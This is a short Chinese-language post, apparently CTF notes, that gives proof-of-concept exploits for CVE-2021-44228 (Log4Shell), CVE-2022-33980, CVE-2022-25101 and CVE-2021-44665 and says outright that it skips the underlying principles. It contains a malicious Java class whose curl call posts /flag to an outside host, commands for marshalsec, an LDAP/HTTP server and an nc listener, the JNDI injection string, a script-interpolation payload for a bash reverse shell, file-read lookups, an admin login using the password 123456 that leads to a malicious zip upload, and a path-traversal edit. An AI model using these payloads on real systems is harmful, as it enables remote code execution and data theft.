CVE系列
不详细讲原理,只发一下poc
CVE-2021-44228
log4j1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class Evil implements ObjectFactory{
static {
try {
Runtime.getRuntime().exec("curl -X POST -F xx=@/flag http://xx:8999");
} catch (IOException e){
e.printStackTrace();
}
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
先运行marshalsecjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xx:8000/#Evil" 1099
同时需要在8000端口起个web服务python3 -m http.server 8000
要在8999端口起个nc,用于接受flagnc -lvp 8999
输入框输入${jndi:ldap://xx:1099/evil}
不知道为什么不可以反弹shell,就直接用curl了
CVE-2022-33980
payloadUrl?url=http://xx:8000/test.xml&data=path
test.xml1
2
3
4
<configuration>
<path>${script:js:java.lang.Runtime.getRuntime().exec("bash -c {xxx}")}</path>
</configuration>
直接弹shell
${url:utf-8:file:///}
可以用于读取目录${url:utf-8:file:///flag}
可以用于读取文件
CVE-2022-25101
http://eci-2zec563boh9uafe744jn.cloudeci1.ichunqiu.com/admin/login/admin
123456
进入后台
install处选择一个压缩包,其中要有info.php,info.php写入你的payload即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21$archive = new PclZip($temp_file);
// extract Add-on files into WBCE temp folder
$addon_root_path = find_addon_root_path($archive);
$list = $archive->extract(
PCLZIP_OPT_PATH,
$temp_unzip,
PCLZIP_CB_PRE_EXTRACT,
'pclzip_extraction_filter',
PCLZIP_OPT_REPLACE_NEWER
);
// Check if uploaded file is a valid Add-On zip file
if (!($list && file_exists($temp_unzip . 'info.php'))) {
$admin->print_error($MESSAGE['GENERIC_INVALID_ADDON_FILE']);
}
// Include the templates info file
unset($template_directory);
unset($theme_directory);
require($temp_unzip . 'info.php');
看看部分源码,可以看到他把压缩包的内容解压出来,然后require了info.php
CVE-2021-44665
searchsploit相应的payload即可
把../../database
改为../../../../../../flag
即可
原理大概就是有一处insert的sql操作没有鉴权,可以用于添加相应的id,然后在getfile.php中可以获取到该id,绕过鉴权,并且他读取文件的操作没有过滤../,具体原理可以自行分析